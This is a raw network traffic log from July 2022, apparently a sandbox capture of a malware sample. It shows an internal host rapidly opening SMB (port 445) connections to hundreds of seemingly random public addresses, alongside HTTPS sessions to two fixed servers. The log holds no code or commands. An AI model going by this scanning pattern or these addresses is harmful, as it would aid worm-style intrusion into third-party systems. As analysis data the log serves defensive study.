Jul 20, 2022 13:25:26.215447903 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.223520041 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.223536015 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.250950098 CEST	52232	445	192.168.2.7	5.146.152.135
Jul 20, 2022 13:25:26.285197973 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.285274982 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.285644054 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.286047935 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.286103964 CEST	443	52230	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.286123037 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.286748886 CEST	52230	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.295736074 CEST	52233	445	192.168.2.7	72.43.26.200
Jul 20, 2022 13:25:26.300498962 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.300544977 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.300667048 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.301176071 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.301202059 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.326575041 CEST	52237	445	192.168.2.7	180.177.243.66
Jul 20, 2022 13:25:26.349711895 CEST	52240	445	192.168.2.7	163.176.248.98
Jul 20, 2022 13:25:26.357336044 CEST	52242	445	192.168.2.7	190.185.223.12
Jul 20, 2022 13:25:26.357403994 CEST	52241	445	192.168.2.7	65.211.56.72
Jul 20, 2022 13:25:26.357672930 CEST	52243	445	192.168.2.7	87.198.201.79
Jul 20, 2022 13:25:26.357781887 CEST	52244	445	192.168.2.7	201.228.139.31
Jul 20, 2022 13:25:26.358315945 CEST	52245	445	192.168.2.7	139.181.199.13
Jul 20, 2022 13:25:26.358370066 CEST	52246	445	192.168.2.7	24.207.119.253
Jul 20, 2022 13:25:26.367844105 CEST	52250	445	192.168.2.7	36.133.186.10
Jul 20, 2022 13:25:26.367959976 CEST	52251	445	192.168.2.7	8.215.217.45
Jul 20, 2022 13:25:26.368062973 CEST	52252	445	192.168.2.7	101.167.142.222
Jul 20, 2022 13:25:26.368124008 CEST	52253	445	192.168.2.7	1.224.203.3
Jul 20, 2022 13:25:26.368199110 CEST	52255	445	192.168.2.7	174.237.97.104
Jul 20, 2022 13:25:26.368231058 CEST	52256	445	192.168.2.7	101.222.224.54
Jul 20, 2022 13:25:26.368320942 CEST	52257	445	192.168.2.7	84.103.82.16
Jul 20, 2022 13:25:26.368489981 CEST	52259	445	192.168.2.7	135.189.191.15
Jul 20, 2022 13:25:26.368662119 CEST	52261	445	192.168.2.7	147.99.176.188
Jul 20, 2022 13:25:26.368696928 CEST	52260	445	192.168.2.7	168.230.70.21
Jul 20, 2022 13:25:26.368712902 CEST	52262	445	192.168.2.7	171.109.199.250
Jul 20, 2022 13:25:26.368720055 CEST	52263	445	192.168.2.7	205.251.129.25
Jul 20, 2022 13:25:26.368845940 CEST	52265	445	192.168.2.7	144.52.41.145
Jul 20, 2022 13:25:26.368938923 CEST	52267	445	192.168.2.7	28.152.84.204
Jul 20, 2022 13:25:26.369046926 CEST	52270	445	192.168.2.7	196.76.79.168
Jul 20, 2022 13:25:26.369070053 CEST	52271	445	192.168.2.7	90.36.95.178
Jul 20, 2022 13:25:26.428047895 CEST	52275	445	192.168.2.7	74.14.8.90
Jul 20, 2022 13:25:26.428977966 CEST	52276	445	192.168.2.7	79.244.211.130
Jul 20, 2022 13:25:26.447829962 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.448153973 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.467396975 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.467418909 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.498796940 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.498815060 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.554584980 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.554647923 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.554795027 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.554948092 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.554964066 CEST	443	52236	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.554966927 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.556459904 CEST	52236	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.557594061 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.557642937 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.557801008 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.558271885 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.558290958 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.702435970 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.702536106 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.723243952 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.723263979 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.733014107 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.733038902 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.805334091 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.805408955 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.805454969 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.805478096 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.805574894 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.805603981 CEST	443	52277	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.805608034 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.805675983 CEST	52277	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.807723999 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.807755947 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.807857037 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.808156013 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.808168888 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.955879927 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.956069946 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.960325003 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.960347891 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:26.962387085 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:26.962429047 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.050527096 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.050606012 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.050638914 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.050681114 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.050748110 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.050790071 CEST	443	52279	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.050810099 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.050856113 CEST	52279	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.055689096 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.055727959 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.055823088 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.056101084 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.056109905 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.076711893 CEST	52282	445	192.168.2.7	5.240.140.27
Jul 20, 2022 13:25:27.155107975 CEST	52283	445	192.168.2.7	185.15.42.45
Jul 20, 2022 13:25:27.198539972 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.198658943 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.199263096 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.199270964 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.203763962 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.203782082 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.260863066 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.261012077 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.261063099 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.261104107 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.261117935 CEST	443	52281	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.261162996 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.261255980 CEST	52281	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.264748096 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.264807940 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.265083075 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.265235901 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.265253067 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.373608112 CEST	52286	445	192.168.2.7	46.108.227.238
Jul 20, 2022 13:25:27.414815903 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.415131092 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.440192938 CEST	52287	445	192.168.2.7	134.147.95.92
Jul 20, 2022 13:25:27.440418959 CEST	52290	445	192.168.2.7	103.163.3.108
Jul 20, 2022 13:25:27.440548897 CEST	52291	445	192.168.2.7	74.66.152.50
Jul 20, 2022 13:25:27.442476034 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.442503929 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.444947958 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.444961071 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.453161955 CEST	52293	445	192.168.2.7	125.77.155.165
Jul 20, 2022 13:25:27.467920065 CEST	52295	445	192.168.2.7	160.223.153.59
Jul 20, 2022 13:25:27.468633890 CEST	52296	445	192.168.2.7	9.1.10.73
Jul 20, 2022 13:25:27.469934940 CEST	52298	445	192.168.2.7	164.162.21.61
Jul 20, 2022 13:25:27.471767902 CEST	52301	445	192.168.2.7	120.141.176.221
Jul 20, 2022 13:25:27.472434044 CEST	52302	445	192.168.2.7	62.53.29.145
Jul 20, 2022 13:25:27.473737001 CEST	52304	445	192.168.2.7	140.62.222.60
Jul 20, 2022 13:25:27.474435091 CEST	52305	445	192.168.2.7	154.40.49.48
Jul 20, 2022 13:25:27.475133896 CEST	52306	445	192.168.2.7	200.122.246.168
Jul 20, 2022 13:25:27.475811005 CEST	52307	445	192.168.2.7	205.165.47.143
Jul 20, 2022 13:25:27.477119923 CEST	52309	445	192.168.2.7	178.149.38.127
Jul 20, 2022 13:25:27.477801085 CEST	52310	445	192.168.2.7	204.176.47.26
Jul 20, 2022 13:25:27.479095936 CEST	52312	445	192.168.2.7	216.116.204.164
Jul 20, 2022 13:25:27.479751110 CEST	52313	445	192.168.2.7	69.53.204.103
Jul 20, 2022 13:25:27.480444908 CEST	52314	445	192.168.2.7	35.10.214.134
Jul 20, 2022 13:25:27.481105089 CEST	52315	445	192.168.2.7	122.19.253.92
Jul 20, 2022 13:25:27.481687069 CEST	52316	445	192.168.2.7	197.217.20.154
Jul 20, 2022 13:25:27.485785961 CEST	52320	445	192.168.2.7	116.167.136.7
Jul 20, 2022 13:25:27.486310959 CEST	52321	445	192.168.2.7	214.65.100.131
Jul 20, 2022 13:25:27.486843109 CEST	52322	445	192.168.2.7	126.180.144.172
Jul 20, 2022 13:25:27.487370968 CEST	52323	445	192.168.2.7	47.54.183.99
Jul 20, 2022 13:25:27.487926006 CEST	52324	445	192.168.2.7	6.54.180.110
Jul 20, 2022 13:25:27.488432884 CEST	52325	445	192.168.2.7	48.20.79.193
Jul 20, 2022 13:25:27.539314985 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.539391994 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.539444923 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.539459944 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.539521933 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.539544106 CEST	443	52285	20.238.103.94	192.168.2.7
Jul 20, 2022 13:25:27.539552927 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.539602995 CEST	52285	443	192.168.2.7	20.238.103.94
Jul 20, 2022 13:25:27.547302008 CEST	52328	445	192.168.2.7	219.232.104.87
Jul 20, 2022 13:25:27.548105001 CEST	52329	445	192.168.2.7	94.69.53.250
Jul 20, 2022 13:25:27.823064089 CEST	445	52322	126.180.144.172	192.168.2.7
Jul 20, 2022 13:25:28.028863907 CEST	51522	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:28.138879061 CEST	52333	445	192.168.2.7	5.240.140.28
Jul 20, 2022 13:25:28.232768059 CEST	52334	445	192.168.2.7	185.15.42.46
Jul 20, 2022 13:25:28.325731993 CEST	52322	445	192.168.2.7	126.180.144.172
Jul 20, 2022 13:25:28.498567104 CEST	52336	445	192.168.2.7	58.177.198.102
Jul 20, 2022 13:25:28.561856031 CEST	52337	445	192.168.2.7	142.182.178.198
Jul 20, 2022 13:25:28.563922882 CEST	52340	445	192.168.2.7	46.240.161.60
Jul 20, 2022 13:25:28.564817905 CEST	52341	445	192.168.2.7	84.39.212.119
Jul 20, 2022 13:25:28.576594114 CEST	52343	445	192.168.2.7	51.0.218.161
Jul 20, 2022 13:25:28.614804983 CEST	52344	445	192.168.2.7	149.117.62.199
Jul 20, 2022 13:25:28.651777029 CEST	52346	445	192.168.2.7	81.61.15.191
Jul 20, 2022 13:25:28.651868105 CEST	52345	445	192.168.2.7	142.163.205.2
Jul 20, 2022 13:25:28.651901960 CEST	52347	445	192.168.2.7	65.227.243.60
Jul 20, 2022 13:25:28.651964903 CEST	445	52322	126.180.144.172	192.168.2.7
Jul 20, 2022 13:25:28.652159929 CEST	52349	445	192.168.2.7	91.159.192.86
Jul 20, 2022 13:25:28.652295113 CEST	52350	445	192.168.2.7	136.161.3.34
Jul 20, 2022 13:25:28.652333975 CEST	52352	445	192.168.2.7	54.197.167.158
Jul 20, 2022 13:25:28.652401924 CEST	52351	445	192.168.2.7	74.198.211.178
Jul 20, 2022 13:25:28.652740002 CEST	52353	445	192.168.2.7	49.247.181.88
Jul 20, 2022 13:25:28.652954102 CEST	52355	445	192.168.2.7	5.245.205.58
Jul 20, 2022 13:25:28.653152943 CEST	52356	445	192.168.2.7	87.254.35.157
Jul 20, 2022 13:25:28.653175116 CEST	52358	445	192.168.2.7	139.123.10.160
Jul 20, 2022 13:25:28.653248072 CEST	52359	445	192.168.2.7	46.13.35.73
Jul 20, 2022 13:25:28.653419018 CEST	52362	445	192.168.2.7	105.27.3.172
Jul 20, 2022 13:25:28.653558969 CEST	52364	445	192.168.2.7	159.52.41.122
Jul 20, 2022 13:25:28.653620958 CEST	52365	445	192.168.2.7	152.43.245.91
Jul 20, 2022 13:25:28.653817892 CEST	52367	445	192.168.2.7	218.230.31.236
Jul 20, 2022 13:25:28.654129982 CEST	52368	445	192.168.2.7	106.166.225.240
Jul 20, 2022 13:25:28.654233932 CEST	52369	445	192.168.2.7	2.233.40.176
Jul 20, 2022 13:25:28.654249907 CEST	52370	445	192.168.2.7	78.158.254.124
Jul 20, 2022 13:25:28.654386044 CEST	52371	445	192.168.2.7	90.161.233.65
Jul 20, 2022 13:25:28.656285048 CEST	52375	445	192.168.2.7	106.11.172.108
Jul 20, 2022 13:25:28.671914101 CEST	52378	445	192.168.2.7	118.232.183.241
Jul 20, 2022 13:25:28.672734976 CEST	52379	445	192.168.2.7	57.91.18.112
Jul 20, 2022 13:25:28.701088905 CEST	445	52371	90.161.233.65	192.168.2.7
Jul 20, 2022 13:25:29.216604948 CEST	52371	445	192.168.2.7	90.161.233.65
Jul 20, 2022 13:25:29.225867033 CEST	52383	445	192.168.2.7	5.240.140.29
Jul 20, 2022 13:25:29.260828972 CEST	445	52371	90.161.233.65	192.168.2.7
Jul 20, 2022 13:25:29.321679115 CEST	52384	445	192.168.2.7	185.15.42.47
Jul 20, 2022 13:25:29.623485088 CEST	52387	445	192.168.2.7	36.140.241.188
Jul 20, 2022 13:25:29.687264919 CEST	52389	445	192.168.2.7	7.253.130.95
Jul 20, 2022 13:25:29.687939882 CEST	52390	445	192.168.2.7	148.76.69.26
Jul 20, 2022 13:25:29.689909935 CEST	52392	445	192.168.2.7	148.207.225.137
Jul 20, 2022 13:25:29.702033043 CEST	52394	445	192.168.2.7	66.154.152.126
Jul 20, 2022 13:25:29.764203072 CEST	52395	445	192.168.2.7	221.245.129.237
Jul 20, 2022 13:25:29.791292906 CEST	52397	445	192.168.2.7	88.175.152.16
Jul 20, 2022 13:25:29.791954994 CEST	52398	445	192.168.2.7	44.32.133.82
Jul 20, 2022 13:25:29.792067051 CEST	52400	445	192.168.2.7	27.187.158.168
Jul 20, 2022 13:25:29.792155981 CEST	52402	445	192.168.2.7	43.53.221.54
Jul 20, 2022 13:25:29.792184114 CEST	52403	445	192.168.2.7	175.152.94.150
Jul 20, 2022 13:25:29.792263031 CEST	52404	445	192.168.2.7	98.193.210.249
Jul 20, 2022 13:25:29.792355061 CEST	52406	445	192.168.2.7	196.138.26.81
Jul 20, 2022 13:25:29.792377949 CEST	52407	445	192.168.2.7	201.153.76.191
Jul 20, 2022 13:25:29.792459965 CEST	52408	445	192.168.2.7	140.128.153.157
Jul 20, 2022 13:25:29.792496920 CEST	52409	445	192.168.2.7	55.250.150.28
Jul 20, 2022 13:25:29.792567015 CEST	52410	445	192.168.2.7	133.208.70.96
Jul 20, 2022 13:25:29.792700052 CEST	52413	445	192.168.2.7	163.167.20.201
Jul 20, 2022 13:25:29.792768955 CEST	52414	445	192.168.2.7	148.175.116.235
Jul 20, 2022 13:25:29.792812109 CEST	52415	445	192.168.2.7	5.168.198.39
Jul 20, 2022 13:25:29.792867899 CEST	52416	445	192.168.2.7	180.158.85.59
Jul 20, 2022 13:25:29.792901993 CEST	52417	445	192.168.2.7	80.165.78.205
Jul 20, 2022 13:25:29.793030977 CEST	52421	445	192.168.2.7	47.64.75.116
Jul 20, 2022 13:25:29.793103933 CEST	52422	445	192.168.2.7	106.3.142.216
Jul 20, 2022 13:25:29.793150902 CEST	52423	445	192.168.2.7	110.147.103.130
Jul 20, 2022 13:25:29.793260098 CEST	52425	445	192.168.2.7	154.151.72.122
Jul 20, 2022 13:25:29.793278933 CEST	52426	445	192.168.2.7	58.27.189.21
Jul 20, 2022 13:25:29.798027039 CEST	52429	445	192.168.2.7	39.139.206.80
Jul 20, 2022 13:25:29.798269033 CEST	52430	445	192.168.2.7	97.201.253.22
Jul 20, 2022 13:25:30.280371904 CEST	52433	445	192.168.2.7	5.240.140.30
Jul 20, 2022 13:25:30.373697996 CEST	52435	445	192.168.2.7	185.15.42.48
Jul 20, 2022 13:25:30.519778967 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.519836903 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.519961119 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.520944118 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.520977020 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.624631882 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.624772072 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.627729893 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.627751112 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.628102064 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.629364967 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.629430056 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.629439116 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.629596949 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.658062935 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.658162117 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.658488035 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.658665895 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.658690929 CEST	443	52436	20.199.120.85	192.168.2.7
Jul 20, 2022 13:25:30.658705950 CEST	52436	443	192.168.2.7	20.199.120.85
Jul 20, 2022 13:25:30.754118919 CEST	52439	445	192.168.2.7	202.101.212.58
Jul 20, 2022 13:25:30.796655893 CEST	52440	445	192.168.2.7	92.71.37.115
Jul 20, 2022 13:25:30.798119068 CEST	52443	445	192.168.2.7	129.219.57.118
Jul 20, 2022 13:25:30.798691034 CEST	52444	445	192.168.2.7	171.158.130.124
Jul 20, 2022 13:25:30.829206944 CEST	52446	445	192.168.2.7	77.100.146.202
Jul 20, 2022 13:25:30.889858007 CEST	52447	445	192.168.2.7	119.37.192.217
Jul 20, 2022 13:25:30.911974907 CEST	52449	445	192.168.2.7	138.253.126.159
Jul 20, 2022 13:25:30.923451900 CEST	52451	445	192.168.2.7	23.63.206.154
Jul 20, 2022 13:25:30.923746109 CEST	52453	445	192.168.2.7	101.215.147.18
Jul 20, 2022 13:25:30.923846006 CEST	52454	445	192.168.2.7	125.243.101.106
Jul 20, 2022 13:25:30.923948050 CEST	52455	445	192.168.2.7	105.28.59.133
Jul 20, 2022 13:25:30.924526930 CEST	52457	445	192.168.2.7	206.56.19.219
Jul 20, 2022 13:25:30.924696922 CEST	52458	445	192.168.2.7	195.200.243.86
Jul 20, 2022 13:25:30.924794912 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:30.924918890 CEST	52460	445	192.168.2.7	27.33.7.36
Jul 20, 2022 13:25:30.925019026 CEST	52461	445	192.168.2.7	163.136.224.215
Jul 20, 2022 13:25:30.925103903 CEST	52462	445	192.168.2.7	67.144.2.193
Jul 20, 2022 13:25:30.928488970 CEST	52467	445	192.168.2.7	87.187.72.96
Jul 20, 2022 13:25:30.928596020 CEST	52468	445	192.168.2.7	48.33.217.203
Jul 20, 2022 13:25:30.937011957 CEST	52469	445	192.168.2.7	16.56.28.207
Jul 20, 2022 13:25:30.937884092 CEST	52470	445	192.168.2.7	102.115.167.71
Jul 20, 2022 13:25:30.938661098 CEST	52471	445	192.168.2.7	67.126.235.64
Jul 20, 2022 13:25:30.939398050 CEST	52472	445	192.168.2.7	46.242.39.231
Jul 20, 2022 13:25:30.940082073 CEST	52473	445	192.168.2.7	100.138.233.251
Jul 20, 2022 13:25:30.942059994 CEST	52476	445	192.168.2.7	151.162.114.158
Jul 20, 2022 13:25:30.943371058 CEST	52478	445	192.168.2.7	159.59.159.19
Jul 20, 2022 13:25:30.944699049 CEST	52480	445	192.168.2.7	123.249.170.46
Jul 20, 2022 13:25:30.945394993 CEST	52481	445	192.168.2.7	206.21.186.66
Jul 20, 2022 13:25:30.946089029 CEST	52482	445	192.168.2.7	111.30.69.211
Jul 20, 2022 13:25:31.046221972 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:31.076179028 CEST	445	52484	93.22.219.2	192.168.2.7
Jul 20, 2022 13:25:31.076410055 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:31.076550961 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:31.104573965 CEST	445	52459	38.55.46.196	192.168.2.7
Jul 20, 2022 13:25:31.104803085 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:31.104939938 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:31.105804920 CEST	52485	445	192.168.2.7	38.55.46.1
Jul 20, 2022 13:25:31.326033115 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:31.358225107 CEST	52487	445	192.168.2.7	5.240.140.31
Jul 20, 2022 13:25:31.452377081 CEST	52489	445	192.168.2.7	185.15.42.49
Jul 20, 2022 13:25:31.638529062 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:31.685420036 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:31.857785940 CEST	52493	445	192.168.2.7	22.77.219.155
Jul 20, 2022 13:25:31.920689106 CEST	52494	445	192.168.2.7	42.57.181.50
Jul 20, 2022 13:25:31.922661066 CEST	52497	445	192.168.2.7	138.222.204.89
Jul 20, 2022 13:25:31.923363924 CEST	52498	445	192.168.2.7	132.136.56.44
Jul 20, 2022 13:25:31.952852964 CEST	52500	445	192.168.2.7	54.219.170.136
Jul 20, 2022 13:25:32.014457941 CEST	52501	445	192.168.2.7	97.252.127.196
Jul 20, 2022 13:25:32.046000004 CEST	52503	445	192.168.2.7	75.42.207.122
Jul 20, 2022 13:25:32.046636105 CEST	52504	445	192.168.2.7	70.106.92.190
Jul 20, 2022 13:25:32.049216986 CEST	52509	445	192.168.2.7	154.110.174.98
Jul 20, 2022 13:25:32.049729109 CEST	52510	445	192.168.2.7	7.188.59.68
Jul 20, 2022 13:25:32.050527096 CEST	52511	445	192.168.2.7	73.79.136.231
Jul 20, 2022 13:25:32.051240921 CEST	52512	445	192.168.2.7	69.186.164.64
Jul 20, 2022 13:25:32.051947117 CEST	52513	445	192.168.2.7	156.52.80.247
Jul 20, 2022 13:25:32.053286076 CEST	52515	445	192.168.2.7	48.6.201.124
Jul 20, 2022 13:25:32.053932905 CEST	52516	445	192.168.2.7	82.28.249.254
Jul 20, 2022 13:25:32.054738045 CEST	52517	445	192.168.2.7	43.41.191.129
Jul 20, 2022 13:25:32.056147099 CEST	52519	445	192.168.2.7	87.104.210.129
Jul 20, 2022 13:25:32.066875935 CEST	52521	445	192.168.2.7	218.159.167.245
Jul 20, 2022 13:25:32.067661047 CEST	52522	445	192.168.2.7	50.171.214.23
Jul 20, 2022 13:25:32.069752932 CEST	52523	445	192.168.2.7	8.193.95.70
Jul 20, 2022 13:25:32.073215961 CEST	52525	445	192.168.2.7	181.86.76.37
Jul 20, 2022 13:25:32.073337078 CEST	52524	445	192.168.2.7	45.81.241.167
Jul 20, 2022 13:25:32.073348045 CEST	52527	445	192.168.2.7	104.19.128.161
Jul 20, 2022 13:25:32.073457956 CEST	52530	445	192.168.2.7	206.210.104.103
Jul 20, 2022 13:25:32.073493004 CEST	52531	445	192.168.2.7	193.238.126.28
Jul 20, 2022 13:25:32.073582888 CEST	52533	445	192.168.2.7	25.95.224.56
Jul 20, 2022 13:25:32.073620081 CEST	52534	445	192.168.2.7	125.153.105.216
Jul 20, 2022 13:25:32.073703051 CEST	52535	445	192.168.2.7	215.114.75.177
Jul 20, 2022 13:25:32.170747042 CEST	52536	445	192.168.2.7	38.55.46.2
Jul 20, 2022 13:25:32.247951984 CEST	52484	445	192.168.2.7	93.22.219.2
Jul 20, 2022 13:25:32.341742039 CEST	445	52536	38.55.46.2	192.168.2.7
Jul 20, 2022 13:25:32.341852903 CEST	52536	445	192.168.2.7	38.55.46.2
Jul 20, 2022 13:25:32.342086077 CEST	52536	445	192.168.2.7	38.55.46.2
Jul 20, 2022 13:25:32.344795942 CEST	52539	445	192.168.2.7	38.55.46.2
Jul 20, 2022 13:25:32.436094999 CEST	52540	445	192.168.2.7	5.240.140.32
Jul 20, 2022 13:25:32.530064106 CEST	52541	445	192.168.2.7	185.15.42.50
Jul 20, 2022 13:25:32.747967958 CEST	52459	445	192.168.2.7	38.55.46.196
Jul 20, 2022 13:25:32.888607979 CEST	52536	445	192.168.2.7	38.55.46.2
